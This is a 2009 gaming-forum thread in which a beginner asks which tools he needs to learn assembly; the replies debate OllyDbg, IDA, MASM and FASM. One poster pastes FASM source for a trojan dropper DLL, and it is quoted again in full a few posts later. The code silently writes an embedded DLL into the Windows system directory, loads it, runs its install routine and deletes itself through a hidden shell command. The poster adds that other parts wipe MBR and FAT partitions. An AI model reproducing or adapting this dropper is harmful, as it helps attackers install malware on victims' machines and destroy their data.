You are Unregistered, please register to gain Full access.
    


RaGEZONE sponsored advertisment:

 
 
LinkBack (1) Thread Tools
Old 06-30-2009   1 links from elsewhere to this Post. Click to view. #1 (permalink)
Average Member
 
marbogunz's Avatar
 
Rank: Hobbit
Join Date: Feb 2009
Location: The Nederlands
Posts: 54
Thanked 4 Times in 1 Post

Thumbs down What programs i need for ASM!

Your Ad Here
Hi Everyone,

Im learning ASM, but i dont know what programs i need!

Can someone tell me the name.

Hope you guys know it

Tyvm!
marbogunz is offline   Reply With Quote

RaGEZONE sponsored advertisment:
Old 06-30-2009   #2 (permalink)
Kthxbai !
 
Trilest's Avatar
 
Rank: Member +
Join Date: Apr 2009
Location: The Netherlands
Posts: 500
Thanked 3 Times in 1 Post

Re: What programs i need for ASM!

Originally Posted by marbogunz View Post
Hi Everyone,

Im learning ASM, but i dont know what programs i need!

Can someone tell me the name.

Hope you guys know it

Tyvm!
Use OllyDBG I think?
Trilest is offline   Reply With Quote

Endorsement
Old 06-30-2009   #3 (permalink)
Average Member
 
marbogunz's Avatar
 
Rank: Hobbit
Join Date: Feb 2009
Location: The Nederlands
Posts: 54
Thanked 4 Times in 1 Post

Re: What programs i need for ASM!

K thx for your help ;d!
marbogunz is offline   Reply With Quote

Endorsement

Old 06-30-2009   #4 (permalink)
RestyleGamerZ FTW
 
Rank: Member +
Join Date: Mar 2008
Location: The Netherlands
Posts: 693
Thanked 2 Times in 2 Posts

Re: What programs i need for ASM!

He is right. The ONLY thing you need is OllyDBG. I prefer the 1.10
Mambo is offline   Reply With Quote
Old 06-30-2009   #5 (permalink)
Hmm.
 
Rank: Alpha Member
Join Date: Jan 2007
Location: D:
Posts: 1,487
Thanked 52 Times in 41 Posts

Re: What programs i need for ASM!

No, you can't learn ASM with ollydbg. Read the tutorials?
__________________
Gunz Narration Sound Fix
Spoiler:
*that why i want you


Click the Thanks button if I had helped you! It is on the right of this post.
Linear88 is offline   Reply With Quote
Old 06-30-2009   #6 (permalink)
Kthxbai !
 
Trilest's Avatar
 
Rank: Member +
Join Date: Apr 2009
Location: The Netherlands
Posts: 500
Thanked 3 Times in 1 Post

Re: What programs i need for ASM!

Originally Posted by Linear88 View Post
No, you can't learn ASM with ollydbg. Read the tutorials?
He said he wanted a program for asm.

Quote:
Im learning ASM, but i dont know what programs i need!
Trilest is offline   Reply With Quote
Old 07-01-2009   #7 (permalink)
RaGEZONER
 
Chanel's Avatar
 
Rank: Hobbit
Join Date: Dec 2008
Location: Hiding from you.
Posts: 70
Thanked 0 Times in 0 Posts

Re: What programs i need for ASM!

use ollyDBG for the ASM coding and use http://www.xs4all.nl/~smit/asm01001.htm for good tutorials!

anyways good luck with ASM!
Chanel is offline   Reply With Quote
Old 07-01-2009   #8 (permalink)
Guess.
 
Tman151's Avatar
 
Rank: Member +
Join Date: May 2009
Location: California
Posts: 327
Blog Entries: 1
Thanked 7 Times in 3 Posts

Re: What programs i need for ASM!

No one mentions IdaPro? >..>
OllyDbg will work I guess..
__________________
I'm going to be a father.
Tman151 is offline   Reply With Quote
Old 07-01-2009   #9 (permalink)
I <3 Penguins
 
BetrayedAcheron's Avatar
 
Rank: Member +
Join Date: Dec 2008
Location: Across a sea, apart from you. O my love i long for you.
Posts: 1,006
Thanked 90 Times in 25 Posts

Re: What programs i need for ASM!

If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
__________________
I AM AGAINST EGO,
But What Are You
http://tinyurl.com/lzkuwa
BetrayedAcheron is offline   Reply With Quote
Old 07-01-2009   #10 (permalink)
Quit
 
PaulBub's Avatar
 
Rank: Member +
Join Date: Apr 2009
Posts: 293
Thanked 8 Times in 6 Posts

Re: What programs i need for ASM!

Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
__________________
Quit
PaulBub is offline   Reply With Quote
Old 07-02-2009   #11 (permalink)
Guy
Contributor
 
Rank: Member +
Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts

Re: What programs i need for ASM!

Originally Posted by Trilest View Post
He said he wanted a program for asm.
A debugger rarely has anything to do with ASM.

Originally Posted by Tman151 View Post
No one mentions IdaPro? >..>
OllyDbg will work I guess..
Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".

Originally Posted by BetrayedAcheron View Post
If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG
Originally Posted by PaulBub View Post
Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
Guy is offline   Reply With Quote
Old 07-02-2009   #12 (permalink)
Http://www.snowgamers.net
 
Kyuma's Avatar
 
Rank: Member +
Join Date: Aug 2008
Location: At Home
Posts: 351
Thanked 26 Times in 14 Posts

Re: What programs i need for ASM!

i recommend ollydbg
__________________
P-Team Hax'0r Group Leader
Kyuma is offline   Reply With Quote
Old 07-02-2009   #13 (permalink)
The Omega
 
TidusXIII's Avatar
 
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts

Re: What programs i need for ASM!

Originally Posted by gWX0 View Post
A debugger rarely has anything to do with ASM.



Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".





MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.

Code:
                
                     
format PE gui 4.0
entry G
                     
  include 'FASM\include\win32a.inc'
  include 'config.inc'
                     
                     
                     
                     


  proc callback,handle,reason,reserved
                     
          cmp        [reason],DLL_PROCESS_ATTACH
          jnz        exit
                     
          xor        eax,eax
          invoke     LocalAlloc,eax,100h
          test       eax,eax
          je         exit
          mov        edi,eax
                     
          push       edi
                     
          invoke     GetSystemDirectory,edi,100h
          add        edi,eax
          mov        al,'\'
          stosb      
          mov        esi,_dll_name
          mov        ecx,_dll_name_sz
          rep        movsb
                     
          pop        edi
          mov        ebx,edi
                     
          xor        esi,esi
                     
          invoke     CreateFile,edi,40000000h,esi,esi,2,2,esi
          inc        eax
          je         exit
          lea        edi,[eax-1]
                     
          invoke     WriteFile,edi,_dll,_dll_sz,esp,esi
                     
          invoke     CloseHandle,edi
                     
          invoke     LoadLibrary,ebx
          test       eax,eax
          je         exit
                     
          invoke     GetProcAddress,eax,_ProcAddress
          test       eax,eax
          je         exit
          call       eax
          mov        eax,_delete
          cmp        eax,0
          je         exit
                     
          invoke     GetModuleFileName,esi,szFile,MAX_PATH
          invoke     GetShortPathName,szFile,szFile,MAX_PATH
          invoke     lstrcpy,szCmd,szDelete
          invoke     lstrcat,szCmd,szFile
          invoke     lstrcat,szCmd,szNull
          invoke     GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
          test       eax,eax
          je         exit
          invoke     ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
  exit:      
          invoke     ExitProcess,esi
  G:      
         
          ret
  endp    
                     
data 9
                               dd a
                               dd a
                               dd a
                               dd c
          a                    dd 0
          c                    dd callback
                               dd 0
                     
end data
                     
                     
                     
                     
                     
section '.data' data readable writeable
                     
                     
          _dll_name            db dll_name,0
          _dll_name_sz         = $ - _dll_name
          _ProcAddress         db 'install',0
                     
                     
          szFile               db    MAX_PATH   dup (?)
          szCmd                db    MAX_PATH   dup (?)
          szComSpec            db     'ComSpec',0
          szDelete             db     '/c del ',0
          szNull               db     ' >> nul',0
                     
                     
  _dll:      
                     
          file       'SOURCE\F.dll'
                     
          _dll_sz              = $ - _dll
                     
data import
                     
  library kernel***'KERNEL32.DLL',\
          shell***'SHELL32.DLL',\ 
          user***'USER32.DLL' 
                     
  include 'FASM\include\kernel32.inc'
  include 'FASM\include\shell32.inc'
  include 'FASM\include\user32.inc'

end data
What a fun little script.
__________________
Knowledge is free. Knowledge is the world.
TidusXIII is offline   Reply With Quote
Old 07-02-2009   #14 (permalink)
I <3 Penguins
 
BetrayedAcheron's Avatar
 
Rank: Member +
Join Date: Dec 2008
Location: Across a sea, apart from you. O my love i long for you.
Posts: 1,006
Thanked 90 Times in 25 Posts

Re: What programs i need for ASM!

Originally Posted by gWX0 View Post
A debugger rarely has anything to do with ASM.



Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".





MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
thanks alot i might look at that o.o
__________________
I AM AGAINST EGO,
But What Are You
http://tinyurl.com/lzkuwa
BetrayedAcheron is offline   Reply With Quote
Old 07-02-2009   #15 (permalink)
Guy
Contributor
 
Rank: Member +
Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts

Re: What programs i need for ASM!

Originally Posted by TidusXIII View Post
Code:
                
                     
format PE gui 4.0
entry G
                     
  include 'FASM\include\win32a.inc'
  include 'config.inc'
                     
                     
                     
                     


  proc callback,handle,reason,reserved
                     
          cmp        [reason],DLL_PROCESS_ATTACH
          jnz        exit
                     
          xor        eax,eax
          invoke     LocalAlloc,eax,100h
          test       eax,eax
          je         exit
          mov        edi,eax
                     
          push       edi
                     
          invoke     GetSystemDirectory,edi,100h
          add        edi,eax
          mov        al,'\'
          stosb      
          mov        esi,_dll_name
          mov        ecx,_dll_name_sz
          rep        movsb
                     
          pop        edi
          mov        ebx,edi
                     
          xor        esi,esi
                     
          invoke     CreateFile,edi,40000000h,esi,esi,2,2,esi
          inc        eax
          je         exit
          lea        edi,[eax-1]
                     
          invoke     WriteFile,edi,_dll,_dll_sz,esp,esi
                     
          invoke     CloseHandle,edi
                     
          invoke     LoadLibrary,ebx
          test       eax,eax
          je         exit
                     
          invoke     GetProcAddress,eax,_ProcAddress
          test       eax,eax
          je         exit
          call       eax
          mov        eax,_delete
          cmp        eax,0
          je         exit
                     
          invoke     GetModuleFileName,esi,szFile,MAX_PATH
          invoke     GetShortPathName,szFile,szFile,MAX_PATH
          invoke     lstrcpy,szCmd,szDelete
          invoke     lstrcat,szCmd,szFile
          invoke     lstrcat,szCmd,szNull
          invoke     GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
          test       eax,eax
          je         exit
          invoke     ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
  exit:      
          invoke     ExitProcess,esi
  G:      
         
          ret
  endp    
                     
data 9
                               dd a
                               dd a
                               dd a
                               dd c
          a                    dd 0
          c                    dd callback
                               dd 0
                     
end data
                     
                     
                     
                     
                     
section '.data' data readable writeable
                     
                     
          _dll_name            db dll_name,0
          _dll_name_sz         = $ - _dll_name
          _ProcAddress         db 'install',0
                     
                     
          szFile               db    MAX_PATH   dup (?)
          szCmd                db    MAX_PATH   dup (?)
          szComSpec            db     'ComSpec',0
          szDelete             db     '/c del ',0
          szNull               db     ' >> nul',0
                     
                     
  _dll:      
                     
          file       'SOURCE\F.dll'
                     
          _dll_sz              = $ - _dll
                     
data import
                     
  library kernel***'KERNEL32.DLL',\
          shell***'SHELL32.DLL',\ 
          user***'USER32.DLL' 
                     
  include 'FASM\include\kernel32.inc'
  include 'FASM\include\shell32.inc'
  include 'FASM\include\user32.inc'

end data
What a fun little script.
That's a dynamic link-library, not a script. It looks like it dumps a copy of itself into the system directory.
Guy is offline   Reply With Quote
Old 07-02-2009   #16 (permalink)
The Omega
 
TidusXIII's Avatar
 
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts

Re: What programs i need for ASM!

Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.
__________________
Knowledge is free. Knowledge is the world.
TidusXIII is offline   Reply With Quote
Old 07-02-2009   #17 (permalink)
Guy
Contributor
 
Rank: Member +
Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts

Re: What programs i need for ASM!

Originally Posted by TidusXIII View Post
Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.
It's not a script.
Guy is offline   Reply With Quote
Old 07-02-2009   #18 (permalink)
Quit
 
PaulBub's Avatar
 
Rank: Member +
Join Date: Apr 2009
Posts: 293
Thanked 8 Times in 6 Posts

Re: What programs i need for ASM!

Originally Posted by gWX0 View Post
MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.
I gave a try to fasm, it really is nice !
__________________
Quit
PaulBub is offline   Reply With Quote
Old 07-02-2009   #19 (permalink)
The Omega
 
TidusXIII's Avatar
 
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts

Re: What programs i need for ASM!

A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user.

It's a script.
__________________
Knowledge is free. Knowledge is the world.
TidusXIII is offline   Reply With Quote
Old 07-02-2009   #20 (permalink)
Guy
Contributor
 
Rank: Member +
Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts

Re: What programs i need for ASM!

Originally Posted by TidusXIII View Post
A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user.

It's a script.
A scripting language is interpreted at runtime.

This is compiled into native bytecode, which is executed directly at runtime.

It's not a script.
Guy is offline   Reply With Quote
Old 07-02-2009   #21 (permalink)
The Omega
 
TidusXIII's Avatar
 
Rank: Member
Join Date: Jan 2009
Posts: 118
Thanked 8 Times in 4 Posts

Re: What programs i need for ASM!

You just proved my point with your own words.

It's a script.
__________________
Knowledge is free. Knowledge is the world.
TidusXIII is offline   Reply With Quote
Old 07-02-2009   #22 (permalink)
I <3 Penguins
 
BetrayedAcheron's Avatar
 
Rank: Member +
Join Date: Dec 2008
Location: Across a sea, apart from you. O my love i long for you.
Posts: 1,006
Thanked 90 Times in 25 Posts

Re: What programs i need for ASM!

stop arguing, it isnt a script maku <.<
__________________
I AM AGAINST EGO,
But What Are You
http://tinyurl.com/lzkuwa
BetrayedAcheron is offline   Reply With Quote
Old 07-02-2009   #23 (permalink)
Guy
Contributor
 
Rank: Member +
Join Date: Apr 2009
Posts: 854
Thanked 102 Times in 41 Posts

Re: What programs i need for ASM!

Originally Posted by TidusXIII View Post
You just proved my point with your own words.

It's a script.
Quote:
A scripting language is interpreted at runtime.

This is compiled into native bytecode, which is executed directly at runtime.

It's not a script.
Interpreted at runtime = converted to bytecode, then executed at runtime.

Versus

Executed at runtime = compiled some time occuring before runtime, then executed at runtime.


It's not a script.
Guy is offline   Reply With Quote
Old 07-02-2009   #24 (permalink)
Quit
 
PaulBub's Avatar
 
Rank: Member +
Join Date: Apr 2009
Posts: 293
Thanked 8 Times in 6 Posts

Re: What programs i need for ASM!

Asm isn't a script, and is well, must be considered as even more native than C or C++.
__________________
Quit
PaulBub is offline   Reply With Quote
Old 07-02-2009   #25 (permalink)
Kthxbai !
 
Trilest's Avatar
 
Rank: Member +
Join Date: Apr 2009
Location: The Netherlands
Posts: 500
Thanked 3 Times in 1 Post

Re: What programs i need for ASM!

Guys wtf is the point about arguing whats a script or not.
He asked for a program he got it.
Trilest is offline   Reply With Quote
 

Bookmarks

Thread Tools


LinkBacks (?)
LinkBack to this Thread: http://forum.ragezone.com/f311/what-programs-i-need-for-asm-587017/
Posted By For Type Date
Gunz Online This thread Refback 06-30-2009 03:45 PM



Translated by Google
Albanian Arabic Belarusian Bulgarian Catalan Chinese Croatian Czech Danish Dutch English Estonian Filipino Finnish French Galician German Greek Hebrew Hindi Hungarian Icelandic Indonesian Italian Japanese Korean Latvian Lithuanian Maltese Norwegian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swedish Taiwanese Thai Turkish Ukrainian Vietnamese
no new posts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274